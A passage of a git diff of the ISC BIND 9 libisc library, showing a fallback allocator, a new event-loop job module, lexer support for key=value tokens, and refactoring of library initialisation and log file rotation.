+	size_info *si = malloc(bytes);
+	INSIST(si != NULL);
+
+	si->size = size;
+	ptr = &si[1];
+
+	if ((flags & MALLOCX_ZERO) != 0) {
+		memset(ptr, 0, size);
+	}
+
+	return (ptr);
+}
+
+static inline void
+sdallocx(void *ptr, size_t size, int flags) {
+	size_info *si = &(((size_info *)ptr)[-1]);
+
+	UNUSED(size);
+	UNUSED(flags);
+
+	free(si);
+}
+
+static inline size_t
+sallocx(void *ptr, int flags) {
+	size_info *si = &(((size_info *)ptr)[-1]);
+
+	UNUSED(flags);
+
+	return (si[0].size);
+}
+
+static inline void *
+rallocx(void *ptr, size_t size, int flags) {
+	size_info *si = realloc(&(((size_info *)ptr)[-1]), size + sizeof(*si));
+	INSIST(si != NULL);
+
+	if ((flags & MALLOCX_ZERO) != 0 && size > si->size) {
+		memset((uint8_t *)si + sizeof(*si) + si->size, 0,
+		       size - si->size);
+	}
+
+	si->size = size;
+	ptr = &si[1];
+
+	return (ptr);
+}
+
+#endif /* defined(HAVE_MALLOC_SIZE) || defined (HAVE_MALLOC_USABLE_SIZE) */
+
+#endif /* !defined(HAVE_JEMALLOC) */
diff --git a/lib/isc/job.c b/lib/isc/job.c
new file mode 100644
index 0000000000..78bbb03d09
--- /dev/null
+++ b/lib/isc/job.c
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <stdlib.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include <isc/atomic.h>
+#include <isc/barrier.h>
+#include <isc/condition.h>
+#include <isc/job.h>
+#include <isc/list.h>
+#include <isc/loop.h>
+#include <isc/magic.h>
+#include <isc/mem.h>
+#include <isc/mutex.h>
+#include <isc/refcount.h>
+#include <isc/result.h>
+#include <isc/signal.h>
+#include <isc/strerr.h>
+#include <isc/thread.h>
+#include <isc/util.h>
+#include <isc/uv.h>
+#include <isc/work.h>
+
+#include "job_p.h"
+#include "loop_p.h"
+#include "probes.h"
+
+/*
+ * Public: #include <isc/job.h>
+ */
+
+void
+isc_job_run(isc_loop_t *loop, isc_job_t *job, isc_job_cb cb, void *cbarg) {
+	if (ISC_LIST_EMPTY(loop->run_jobs)) {
+		uv_idle_start(&loop->run_trigger, isc__job_cb);
+	}
+
+	job->cb = cb;
+	job->cbarg = cbarg;
+	ISC_LINK_INIT(job, link);
+
+	ISC_LIST_APPEND(loop->run_jobs, job, link);
+}
+
+/*
+ * Protected: #include <job_p.h>
+ */
+
+void
+isc__job_cb(uv_idle_t *handle) {
+	isc_loop_t *loop = uv_handle_get_data(handle);
+	ISC_LIST(isc_job_t) jobs = ISC_LIST_INITIALIZER;
+
+	ISC_LIST_MOVE(jobs, loop->run_jobs);
+
+	isc_job_t *job, *next;
+	for (job = ISC_LIST_HEAD(jobs),
+	    next = (job != NULL) ? ISC_LIST_NEXT(job, link) : NULL;
+	     job != NULL;
+	     job = next, next = job ? ISC_LIST_NEXT(job, link) : NULL)
+	{
+		isc_job_cb cb = job->cb;
+		void *cbarg = job->cbarg;
+		ISC_LIST_UNLINK(jobs, job, link);
+		LIBISC_JOB_CB_BEFORE(job, cb, cbarg);
+		cb(cbarg);
+		LIBISC_JOB_CB_AFTER(job, cb, cbarg);
+	}
+
+	if (ISC_LIST_EMPTY(loop->run_jobs)) {
+		uv_idle_stop(&loop->run_trigger);
+	}
+}
+
+void
+isc__job_close(uv_handle_t *handle) {
+	isc_loop_t *loop = uv_handle_get_data(handle);
+
+	isc__job_cb(&loop->run_trigger);
+}
diff --git a/lib/isc/job_p.h b/lib/isc/job_p.h
new file mode 100644
index 0000000000..06c7bc319e
--- /dev/null
+++ b/lib/isc/job_p.h
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <isc/align.h>
+#include <isc/job.h>
+#include <isc/loop.h>
+#include <isc/os.h>
+#include <isc/uv.h>
+
+/*%
+ * NOTE: We are using struct __cds_wfcq_head that doesn't have an internal
+ * mutex, because we are only using enqueue and splice, and those don't need
+ * any synchronization (see urcu/wfcqueue.h for detailed description).
+ */
+typedef struct isc_jobqueue {
+	alignas(ISC_OS_CACHELINE_SIZE) struct __cds_wfcq_head head;
+	alignas(ISC_OS_CACHELINE_SIZE) struct cds_wfcq_tail tail;
+} isc_jobqueue_t;
+
+typedef ISC_LIST(isc_job_t) isc_joblist_t;
+
+void
+isc__job_cb(uv_idle_t *handle);
+
+void
+isc__job_close(uv_handle_t *handle);
diff --git a/lib/isc/lex.c b/lib/isc/lex.c
index 3aef691694..3232b8c152 100644
--- a/lib/isc/lex.c
+++ b/lib/isc/lex.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -22,11 +24,12 @@
 #include <isc/lex.h>
 #include <isc/mem.h>
 #include <isc/parseint.h>
-#include <isc/print.h>
 #include <isc/stdio.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
+#include "errno2result.h"
+
 typedef struct inputsource {
 	isc_result_t result;
 	bool is_file;
@@ -61,7 +64,7 @@ struct isc_lex {
 	LIST(struct inputsource) sources;
 };
 
-static inline isc_result_t
+static isc_result_t
 grow_data(isc_lex_t *lex, size_t *remainingp, char **currp, char **prevp) {
 	char *tmp;
 
@@ -78,7 +81,7 @@ grow_data(isc_lex_t *lex, size_t *remainingp, char **currp, char **prevp) {
 	return (ISC_R_SUCCESS);
 }
 
-isc_result_t
+void
 isc_lex_create(isc_mem_t *mctx, size_t max_token, isc_lex_t **lexp) {
 	isc_lex_t *lex;
 
@@ -106,8 +109,6 @@ isc_lex_create(isc_mem_t *mctx, size_t max_token, isc_lex_t **lexp) {
 	lex->magic = LEX_MAGIC;
 
 	*lexp = lex;
-
-	return (ISC_R_SUCCESS);
 }
 
 void
@@ -178,7 +179,7 @@ isc_lex_setspecials(isc_lex_t *lex, isc_lexspecials_t specials) {
 	memmove(lex->specials, specials, 256);
 }
 
-static inline isc_result_t
+static isc_result_t
 new_source(isc_lex_t *lex, bool is_file, bool need_close, void *input,
 	   const char *name) {
 	inputsource *source;
@@ -293,7 +294,10 @@ typedef enum {
 	lexstate_ccommentend,
 	lexstate_eatline,
 	lexstate_qstring,
-	lexstate_btext
+	lexstate_btext,
+	lexstate_vpair,
+	lexstate_vpairstart,
+	lexstate_qvpair,
 } lexstate;
 
 #define IWSEOL (ISC_LEXOPT_INITIALWS | ISC_LEXOPT_EOL)
@@ -375,7 +379,8 @@ isc_lex_gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *tokenp) {
 	if (isc_buffer_remaininglength(source->pushback) == 0 && source->at_eof)
 	{
 		if ((options & ISC_LEXOPT_DNSMULTILINE) != 0 &&
-		    lex->paren_count != 0) {
+		    lex->paren_count != 0)
+		{
 			lex->paren_count = 0;
 			return (ISC_R_UNBALANCED);
 		}
@@ -422,7 +427,9 @@ isc_lex_gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *tokenp) {
 #endif /* if defined(HAVE_FLOCKFILE) && defined(HAVE_GETC_UNLOCKED) */
 				if (c == EOF) {
 					if (ferror(stream)) {
-						source->result = ISC_R_IOERROR;
+						source->result =
+							isc__errno2result(
+								errno);
 						result = source->result;
 						goto done;
 					}
@@ -483,7 +490,8 @@ isc_lex_gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *tokenp) {
 				no_comments = true;
 				continue;
 			} else if (c == '#' && ((lex->comments &
-						 ISC_LEXCOMMENT_SHELL) != 0)) {
+						 ISC_LEXCOMMENT_SHELL) != 0))
+			{
 				saved_state = state;
 				state = lexstate_eatline;
 				no_comments = true;
@@ -498,13 +506,15 @@ isc_lex_gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *tokenp) {
 			if (c == EOF) {
 				lex->last_was_eol = false;
 				if ((options & ISC_LEXOPT_DNSMULTILINE) != 0 &&
-				    lex->paren_count != 0) {
+				    lex->paren_count != 0)
+				{
 					lex->paren_count = 0;
 					result = ISC_R_UNBALANCED;
 					goto done;
 				}
 				if ((options & ISC_LEXOPT_BTEXT) != 0 &&
-				    lex->brace_count != 0) {
+				    lex->brace_count != 0)
+				{
 					lex->brace_count = 0;
 					result = ISC_R_UNBALANCED;
 					goto done;
@@ -517,7 +527,8 @@ isc_lex_gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *tokenp) {
 				done = true;
 			} else if (c == ' ' || c == '\t') {
 				if (lex->last_was_eol &&
-				    (options & ISC_LEXOPT_INITIALWS) != 0) {
+				    (options & ISC_LEXOPT_INITIALWS) != 0)
+				{
 					lex->last_was_eol = false;
 					tokenp->type = isc_tokentype_initialws;
 					tokenp->value.as_char = c;
@@ -534,14 +545,16 @@ isc_lex_gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *tokenp) {
 					state = lexstate_crlf;
 				}
 			} else if (c == '"' &&
-				   (options & ISC_LEXOPT_QSTRING) != 0) {
+				   (options & ISC_LEXOPT_QSTRING) != 0)
+			{
 				lex->last_was_eol = false;
 				no_comments = true;
 				state = lexstate_qstring;
 			} else if (lex->specials[c]) {
 				lex->last_was_eol = false;
 				if ((c == '(' || c == ')') &&
-				    (options & ISC_LEXOPT_DNSMULTILINE) != 0) {
+				    (options & ISC_LEXOPT_DNSMULTILINE) != 0)
+				{
 					if (c == '(') {
 						if (lex->paren_count == 0) {
 							options &= ~IWSEOL;
@@ -560,7 +573,8 @@ isc_lex_gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *tokenp) {
 					}
 					continue;
 				} else if (c == '{' &&
-					   (options & ISC_LEXOPT_BTEXT) != 0) {
+					   (options & ISC_LEXOPT_BTEXT) != 0)
+				{
 					if (lex->brace_count != 0) {
 						result = ISC_R_UNBALANCED;
 						goto done;
@@ -575,10 +589,12 @@ isc_lex_gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *tokenp) {
 				tokenp->value.as_char = c;
 				done = true;
 			} else if (isdigit((unsigned char)c) &&
-				   (options & ISC_LEXOPT_NUMBER) != 0) {
+				   (options & ISC_LEXOPT_NUMBER) != 0)
+			{
 				lex->last_was_eol = false;
 				if ((options & ISC_LEXOPT_OCTAL) != 0 &&
-				    (c == '8' || c == '9')) {
+				    (c == '8' || c == '9'))
+				{
 					state = lexstate_string;
 				} else {
 					state = lexstate_number;
@@ -607,7 +623,8 @@ isc_lex_gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *tokenp) {
 					if ((options & ISC_LEXOPT_OCTAL) != 0) {
 						base = 8;
 					} else if ((options &
-						    ISC_LEXOPT_CNUMBER) != 0) {
+						    ISC_LEXOPT_CNUMBER) != 0)
+					{
 						base = 0;
 					} else {
 						base = 10;
@@ -647,7 +664,8 @@ isc_lex_gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *tokenp) {
 					state = lexstate_string;
 				}
 			} else if ((options & ISC_LEXOPT_OCTAL) != 0 &&
-				   (c == '8' || c == '9')) {
+				   (c == '8' || c == '9'))
+			{
 				state = lexstate_string;
 			}
 			if (remaining == 0U) {
@@ -663,6 +681,37 @@ isc_lex_gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *tokenp) {
 			remaining--;
 			break;
 		case lexstate_string:
+			if (!escaped && c == '=' &&
+			    (options & ISC_LEXOPT_VPAIR) != 0)
+			{
+				if (remaining == 0U) {
+					result = grow_data(lex, &remaining,
+							   &curr, &prev);
+					if (result != ISC_R_SUCCESS) {
+						goto done;
+					}
+				}
+				INSIST(remaining > 0U);
+				*curr++ = c;
+				*curr = '\0';
+				remaining--;
+				state = lexstate_vpairstart;
+				break;
+			}
+			FALLTHROUGH;
+		case lexstate_vpairstart:
+			if (state == lexstate_vpairstart) {
+				if (c == '"' &&
+				    (options & ISC_LEXOPT_QVPAIR) != 0)
+				{
+					no_comments = true;
+					state = lexstate_qvpair;
+					break;
+				}
+				state = lexstate_vpair;
+			}
+			FALLTHROUGH;
+		case lexstate_vpair:
 			/*
 			 * EOF needs to be checked before lex->specials[c]
 			 * as lex->specials[EOF] is not a good idea.
@@ -676,7 +725,13 @@ isc_lex_gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *tokenp) {
 					result = source->result;
 					goto done;
 				}
-				tokenp->type = isc_tokentype_string;
+				if (escaped && c == EOF) {
+					result = ISC_R_UNEXPECTEDEND;
+					goto done;
+				}
+				tokenp->type = (state == lexstate_string)
+						       ? isc_tokentype_string
+						       : isc_tokentype_vpair;
 				tokenp->value.as_textregion.base = lex->data;
 				tokenp->value.as_textregion.length =
 					(unsigned int)(lex->max_token -
@@ -753,6 +808,7 @@ isc_lex_gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *tokenp) {
 			}
 			break;
 		case lexstate_qstring:
+		case lexstate_qvpair:
 			if (c == EOF) {
 				result = ISC_R_UNEXPECTEDEND;
 				goto done;
@@ -766,7 +822,10 @@ isc_lex_gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *tokenp) {
 					INSIST(prev != NULL);
 					*prev = '"';
 				} else {
-					tokenp->type = isc_tokentype_qstring;
+					tokenp->type =
+						(state == lexstate_qstring)
+							? isc_tokentype_qstring
+							: isc_tokentype_qvpair;
 					tokenp->value.as_textregion.base =
 						lex->data;
 					tokenp->value.as_textregion.length =
@@ -778,7 +837,8 @@ isc_lex_gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *tokenp) {
 			} else {
 				if (c == '\n' && !escaped &&
 				    (options & ISC_LEXOPT_QSTRINGMULTILINE) ==
-					    0) {
+					    0)
+				{
 					pushback(source, c);
 					result = ISC_R_UNBALANCEDQUOTES;
 					goto done;
@@ -854,8 +914,7 @@ isc_lex_gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *tokenp) {
 			remaining--;
 			break;
 		default:
-			FATAL_ERROR(__FILE__, __LINE__, "Unexpected state %d",
-				    state);
+			FATAL_ERROR("Unexpected state %d", state);
 		}
 	} while (!done);
 
@@ -876,7 +935,12 @@ isc_lex_getmastertoken(isc_lex_t *lex, isc_token_t *token,
 			       ISC_LEXOPT_DNSMULTILINE | ISC_LEXOPT_ESCAPE;
 	isc_result_t result;
 
-	if (expect == isc_tokentype_qstring) {
+	if (expect == isc_tokentype_vpair) {
+		options |= ISC_LEXOPT_VPAIR;
+	} else if (expect == isc_tokentype_qvpair) {
+		options |= ISC_LEXOPT_VPAIR;
+		options |= ISC_LEXOPT_QVPAIR;
+	} else if (expect == isc_tokentype_qstring) {
 		options |= ISC_LEXOPT_QSTRING;
 	} else if (expect == isc_tokentype_number) {
 		options |= ISC_LEXOPT_NUMBER;
@@ -895,13 +959,20 @@ isc_lex_getmastertoken(isc_lex_t *lex, isc_token_t *token,
 		return (ISC_R_SUCCESS);
 	}
 	if (token->type == isc_tokentype_string &&
-	    expect == isc_tokentype_qstring) {
+	    (expect == isc_tokentype_qstring || expect == isc_tokentype_qvpair))
+	{
+		return (ISC_R_SUCCESS);
+	}
+	if (token->type == isc_tokentype_vpair &&
+	    expect == isc_tokentype_qvpair)
+	{
 		return (ISC_R_SUCCESS);
 	}
 	if (token->type != expect) {
 		isc_lex_ungettoken(lex, token);
 		if (token->type == isc_tokentype_eol ||
-		    token->type == isc_tokentype_eof) {
+		    token->type == isc_tokentype_eof)
+		{
 			return (ISC_R_UNEXPECTEDEND);
 		}
 		if (expect == isc_tokentype_number) {
@@ -935,7 +1006,8 @@ isc_lex_getoctaltoken(isc_lex_t *lex, isc_token_t *token, bool eol) {
 	if (token->type != isc_tokentype_number) {
 		isc_lex_ungettoken(lex, token);
 		if (token->type == isc_tokentype_eol ||
-		    token->type == isc_tokentype_eof) {
+		    token->type == isc_tokentype_eof)
+		{
 			return (ISC_R_UNEXPECTEDEND);
 		}
 		return (ISC_R_BADNUMBER);
diff --git a/lib/isc/lib.c b/lib/isc/lib.c
index 2d6950ad63..aba5dc1db8 100644
--- a/lib/isc/lib.c
+++ b/lib/isc/lib.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,16 +13,20 @@
 
 /*! \file */
 
-#include <isc/bind9.h>
-#include <isc/lib.h>
+#include <isc/iterated_hash.h>
+#include <isc/md.h>
 #include <isc/mem.h>
+#include <isc/os.h>
 #include <isc/tls.h>
+#include <isc/urcu.h>
 #include <isc/util.h>
+#include <isc/uv.h>
+#include <isc/xml.h>
 
 #include "config.h"
 #include "mem_p.h"
-#include "tls_p.h"
-#include "trampoline_p.h"
+#include "mutex_p.h"
+#include "os_p.h"
 
 #ifndef ISC_CONSTRUCTOR
 #error Either __attribute__((constructor|destructor))__ or DllMain support needed to compile BIND 9.
@@ -30,11 +36,6 @@
  *** Functions
  ***/
 
-void
-isc_lib_register(void) {
-	isc_bind9 = false;
-}
-
 void
 isc__initialize(void) ISC_CONSTRUCTOR;
 void
@@ -42,14 +43,28 @@ isc__shutdown(void) ISC_DESTRUCTOR;
 
 void
 isc__initialize(void) {
+	isc__os_initialize();
+	isc__mutex_initialize();
 	isc__mem_initialize();
 	isc__tls_initialize();
-	isc__trampoline_initialize();
+	isc__uv_initialize();
+	isc__xml_initialize();
+	isc__md_initialize();
+	isc__iterated_hash_initialize();
+	(void)isc_os_ncpus();
+	rcu_register_thread();
 }
 
 void
 isc__shutdown(void) {
-	isc__trampoline_shutdown();
+	isc__iterated_hash_shutdown();
+	isc__md_shutdown();
+	isc__xml_shutdown();
+	isc__uv_shutdown();
 	isc__tls_shutdown();
 	isc__mem_shutdown();
+	isc__mutex_shutdown();
+	isc__os_shutdown();
+	/* should be after isc__mem_shutdown() which calls rcu_barrier() */
+	rcu_unregister_thread();
 }
diff --git a/lib/isc/log.c b/lib/isc/log.c
index 9b225c7e80..9db7a91d77 100644
--- a/lib/isc/log.c
+++ b/lib/isc/log.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,19 +18,19 @@
 #include <limits.h>
 #include <stdbool.h>
 #include <stdlib.h>
+#include <sys/stat.h>
 #include <sys/types.h> /* dev_t FreeBSD 2.1 */
 #include <time.h>
+#include <unistd.h>
 
 #include <isc/atomic.h>
 #include <isc/dir.h>
+#include <isc/errno.h>
 #include <isc/file.h>
 #include <isc/log.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
-#include <isc/platform.h>
-#include <isc/print.h>
 #include <isc/rwlock.h>
-#include <isc/stat.h>
 #include <isc/stdio.h>
 #include <isc/string.h>
 #include <isc/thread.h>
@@ -41,11 +43,6 @@
 #define LCFG_MAGIC	   ISC_MAGIC('L', 'c', 'f', 'g')
 #define VALID_CONFIG(lcfg) ISC_MAGIC_VALID(lcfg, LCFG_MAGIC)
 
-#define RDLOCK(lp)   RWLOCK(lp, isc_rwlocktype_read);
-#define WRLOCK(lp)   RWLOCK(lp, isc_rwlocktype_write);
-#define RDUNLOCK(lp) RWUNLOCK(lp, isc_rwlocktype_read);
-#define WRUNLOCK(lp) RWUNLOCK(lp, isc_rwlocktype_write);
-
 static thread_local bool forcelog = false;
 
 /*
@@ -178,21 +175,20 @@ static const int syslog_map[] = { LOG_DEBUG,   LOG_INFO, LOG_NOTICE,
  * be overridden.  Since the default is always looked up as the first
  * channellist in the log context, it must come first in isc_categories[].
  */
-LIBISC_EXTERNAL_DATA isc_logcategory_t isc_categories[] = { { "default",
-							      0 }, /* "default
-								      must come
-								      first. */
-							    { "general", 0 },
-							    { NULL, 0 } };
+isc_logcategory_t isc_categories[] = { { "default", 0 }, /* "default
+							    must come
+							    first. */
+				       { "general", 0 },
+				       { "sslkeylog", 0 },
+				       { NULL, 0 } };
 
 /*!
- * See above comment for categories on LIBISC_EXTERNAL_DATA, and apply it to
- * modules.
+ * See above comment for categories, and apply it to modules.
  */
-LIBISC_EXTERNAL_DATA isc_logmodule_t isc_modules[] = {
-	{ "socket", 0 }, { "time", 0 },	  { "interface", 0 }, { "timer", 0 },
-	{ "file", 0 },	 { "netmgr", 0 }, { "other", 0 },     { NULL, 0 }
-};
+isc_logmodule_t isc_modules[] = { { "socket", 0 },    { "time", 0 },
+				  { "interface", 0 }, { "timer", 0 },
+				  { "file", 0 },      { "netmgr", 0 },
+				  { "other", 0 },     { NULL, 0 } };
 
 /*!
  * This essentially constant structure must be filled in at run time,
@@ -204,7 +200,7 @@ static isc_logchannellist_t default_channel;
 /*!
  * libisc logs to this context.
  */
-LIBISC_EXTERNAL_DATA isc_log_t *isc_lctx = NULL;
+isc_log_t *isc_lctx = NULL;
 
 /*!
  * Forward declarations.
@@ -269,7 +265,7 @@ isc_log_create(isc_mem_t *mctx, isc_log_t **lctxp, isc_logconfig_t **lcfgp) {
 	ISC_LIST_INIT(lctx->messages);
 
 	isc_mutex_init(&lctx->lock);
-	isc_rwlock_init(&lctx->lcfg_rwl, 0, 0);
+	isc_rwlock_init(&lctx->lcfg_rwl);
 
 	/*
 	 * Normally setting the magic number is the last step done
@@ -292,9 +288,7 @@ isc_log_create(isc_mem_t *mctx, isc_log_t **lctxp, isc_logconfig_t **lcfgp) {
 	atomic_init(&lctx->dynamic, lcfg->dynamic);
 
 	*lctxp = lctx;
-	if (lcfgp != NULL) {
-		*lcfgp = lcfg;
-	}
+	SET_IF_NOT_NULL(lcfgp, lcfg);
 }
 
 void
@@ -462,7 +456,7 @@ isc_logconfig_destroy(isc_logconfig_t **lcfgp) {
 			 * but in isc_log_createchannel it gets copied
 			 * into writable memory and is not longer truly const.
 			 */
-			DE_CONST(FILE_NAME(channel), filename);
+			filename = UNCONST(FILE_NAME(channel));
 			isc_mem_free(mctx, filename);
 
 			if (FILE_STREAM(channel) != NULL) {
@@ -483,9 +477,8 @@ isc_logconfig_destroy(isc_logconfig_t **lcfgp) {
 	}
 
 	if (lcfg->channellist_count > 0) {
-		isc_mem_put(mctx, lcfg->channellists,
-			    lcfg->channellist_count *
-				    sizeof(ISC_LIST(isc_logchannellist_t)));
+		isc_mem_cput(mctx, lcfg->channellists, lcfg->channellist_count,
+			     sizeof(ISC_LIST(isc_logchannellist_t)));
 	}
 
 	lcfg->dynamic = false;
@@ -528,7 +521,7 @@ isc_log_registercategories(isc_log_t *lctx, isc_logcategory_t categories[]) {
 				 * The name pointer points to the next array.
 				 * Ick.
 				 */
-				DE_CONST(catp->name, catp);
+				catp = UNCONST(catp->name);
 			} else {
 				catp++;
 			}
@@ -559,7 +552,7 @@ isc_log_categorybyname(isc_log_t *lctx, const char *name) {
 			 * catp is neither modified nor returned to the
 			 * caller, so removing its const qualifier is ok.
 			 */
-			DE_CONST(catp->name, catp);
+			catp = UNCONST(catp->name);
 		} else {
 			if (strcmp(catp->name, name) == 0) {
 				return (catp);
@@ -599,7 +592,7 @@ isc_log_registermodules(isc_log_t *lctx, isc_logmodule_t modules[]) {
 				 * The name pointer points to the next array.
 				 * Ick.
 				 */
-				DE_CONST(modp->name, modp);
+				modp = UNCONST(modp->name);
 			} else {
 				modp++;
 			}
@@ -630,7 +623,7 @@ isc_log_modulebyname(isc_log_t *lctx, const char *name) {
 			 * modp is neither modified nor returned to the
 			 * caller, so removing its const qualifier is ok.
 			 */
-			DE_CONST(modp->name, modp);
+			modp = UNCONST(modp->name);
 		} else {
 			if (strcmp(modp->name, name) == 0) {
 				return (modp);
@@ -707,8 +700,7 @@ isc_log_createchannel(isc_logconfig_t *lcfg, const char *name,
 		break;
 
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	ISC_LIST_PREPEND(lcfg->channels, channel, link);
@@ -919,7 +911,8 @@ isc_log_closefilelogs(isc_log_t *lctx) {
 		     channel != NULL; channel = ISC_LIST_NEXT(channel, link))
 		{
 			if (channel->type == ISC_LOG_TOFILE &&
-			    FILE_STREAM(channel) != NULL) {
+			    FILE_STREAM(channel) != NULL)
+			{
 				(void)fclose(FILE_STREAM(channel));
 				FILE_STREAM(channel) = NULL;
 			}
@@ -980,13 +973,9 @@ assignchannel(isc_logconfig_t *lcfg, unsigned int category_id,
  */
 static void
 sync_channellist(isc_logconfig_t *lcfg) {
-	unsigned int bytes;
-	isc_log_t *lctx;
-	void *lists;
-
 	REQUIRE(VALID_CONFIG(lcfg));
 
-	lctx = lcfg->lctx;
+	isc_log_t *lctx = lcfg->lctx;
 
 	REQUIRE(lctx->category_count != 0);
 
@@ -994,20 +983,10 @@ sync_channellist(isc_logconfig_t *lcfg) {
 		return;
 	}
 
-	bytes = lctx->category_count * sizeof(ISC_LIST(isc_logchannellist_t));
-
-	lists = isc_mem_get(lctx->mctx, bytes);
+	lcfg->channellists = isc_mem_creget(
+		lctx->mctx, lcfg->channellists, lcfg->channellist_count,
+		lctx->category_count, sizeof(ISC_LIST(isc_logchannellist_t)));
 
-	memset(lists, 0, bytes);
-
-	if (lcfg->channellist_count != 0) {
-		bytes = lcfg->channellist_count *
-			sizeof(ISC_LIST(isc_logchannellist_t));
-		memmove(lists, lcfg->channellists, bytes);
-		isc_mem_put(lctx->mctx, lcfg->channellists, bytes);
-	}
-
-	lcfg->channellists = lists;
 	lcfg->channellist_count = lctx->category_count;
 }
 
@@ -1019,38 +998,43 @@ sync_highest_level(isc_log_t *lctx, isc_logconfig_t *lcfg) {
 
 static isc_result_t
 greatest_version(isc_logfile_t *file, int versions, int *greatestp) {
-	char *bname, *digit_end;
-	const char *dirname;
+	char *digit_end;
+	char dirbuf[PATH_MAX + 1];
+	const char *bname;
+	const char *dirname = ".";
 	int version, greatest = -1;
-	size_t bnamelen;
 	isc_dir_t dir;
 	isc_result_t result;
-	char sep = '/';
+	size_t bnamelen;
 
-	/*
-	 * It is safe to DE_CONST the file.name because it was copied
-	 * with isc_mem_strdup().
-	 */
-	bname = strrchr(file->name, sep);
+	bname = strrchr(file->name, '/');
 	if (bname != NULL) {
-		*bname++ = '\0';
-		dirname = file->name;
+		/*
+		 * Copy the complete file name to dirbuf.
+		 */
+		size_t len = strlcpy(dirbuf, file->name, sizeof(dirbuf));
+		if (len >= sizeof(dirbuf)) {
+			result = ISC_R_NOSPACE;
+			syslog(LOG_ERR, "unable to remove log files: %s",
+			       isc_result_totext(result));
+			return (result);
+		}
+
+		/*
+		 * Truncate after trailing '/' so the code works for
+		 * files in the root directory.
+		 */
+		bname++;
+		dirbuf[bname - file->name] = '\0';
+		dirname = dirbuf;
 	} else {
-		DE_CONST(file->name, bname);
-		dirname = ".";
+		bname = file->name;
 	}
 	bnamelen = strlen(bname);
 
 	isc_dir_init(&dir);
 	result = isc_dir_open(&dir, dirname);
 
-	/*
-	 * Replace the file separator if it was taken out.
-	 */
-	if (bname != file->name) {
-		*(bname - 1) = sep;
-	}
-
 	/*
 	 * Return if the directory open failed.
 	 */
@@ -1069,14 +1053,23 @@ greatest_version(isc_logfile_t *file, int versions, int *greatestp) {
 			 * Remove any backup files that exceed versions.
 			 */
 			if (*digit_end == '\0' && version >= versions) {
-				result = isc_file_remove(dir.entry.name);
-				if (result != ISC_R_SUCCESS &&
-				    result != ISC_R_FILENOTFOUND) {
-					syslog(LOG_ERR,
-					       "unable to remove "
-					       "log file '%s': %s",
-					       dir.entry.name,
-					       isc_result_totext(result));
+				int n = unlinkat(dirfd(dir.handle),
+						 dir.entry.name, 0);
+				if (n < 0) {
+					result = isc_errno_toresult(errno);
+					if (result != ISC_R_SUCCESS &&
+					    result != ISC_R_FILENOTFOUND)
+					{
+						syslog(LOG_ERR,
+						       "unable to remove log "
+						       "file '%s%s': %s",
+						       bname == file->name
+							       ? ""
+							       : dirname,
+						       dir.entry.name,
+						       isc_result_totext(
+							       result));
+					}
 				}
 			} else if (*digit_end == '\0' && version > greatest) {
 				greatest = version;
@@ -1086,12 +1079,11 @@ greatest_version(isc_logfile_t *file, int versions, int *greatestp) {
 	isc_dir_close(&dir);
 
 	*greatestp = greatest;
-
 	return (ISC_R_SUCCESS);
 }
 
 static void
-insert_sort(int64_t to_keep[], int64_t versions, int version) {
+insert_sort(int64_t to_keep[], int64_t versions, int64_t version) {
 	int i = 0;
 	while (i < versions && version < to_keep[i]) {
 		i++;
@@ -1107,13 +1099,15 @@ insert_sort(int64_t to_keep[], int64_t versions, int version) {
 }
 
 static int64_t
-last_to_keep(int64_t versions, isc_dir_t *dirp, char *bname, size_t bnamelen) {
+last_to_keep(int64_t versions, isc_dir_t *dirp, const char *bname,
+	     size_t bnamelen) {
+	int64_t to_keep[ISC_LOG_MAX_VERSIONS] = { 0 };
+	int64_t version = 0;
+
